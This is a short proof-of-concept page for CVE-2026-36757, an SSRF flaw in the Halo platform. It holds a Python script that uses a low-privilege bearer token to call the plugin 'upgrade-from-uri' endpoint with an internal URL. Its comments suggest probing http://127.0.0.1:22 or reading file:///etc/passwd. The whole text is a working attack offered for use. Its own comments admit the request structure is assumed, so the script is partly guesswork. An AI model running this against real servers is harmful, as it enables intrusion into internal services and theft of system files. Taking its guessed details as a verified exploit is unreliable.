CVE-2026-36757 Halo存在服务端请求伪造漏洞

import requests def exploit_ssrf(target_url, plugin_name, internal_url, auth_token): """ PoC for CVE-2026-36757 Exploit SSRF in /plugins/{name}/upgrade-from-uri """ headers = { "Authorization": f"Bearer {auth_token}", "User-Agent": "Mozilla/5.0" } # Construct the malicious URL based on the description # Assuming the URI is passed as a query parameter or path parameter depending on implementation # Here we simulate a request structure common in such endpoints exploit_endpoint = f"{target_url}/plugins/{plugin_name}/upgrade-from-uri" params = { "uri": internal_url # e.g., http://127.0.0.1:22 or file:///etc/passwd } try: response = requests.get(exploit_endpoint, headers=headers, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to internal resource: {internal_url}") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Exploit failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") # Usage # exploit_ssrf("http://example.com:8090", "vulnerable-plugin", "http://127.0.0.1:8080", "YOUR_LOW_PRIV_TOKEN")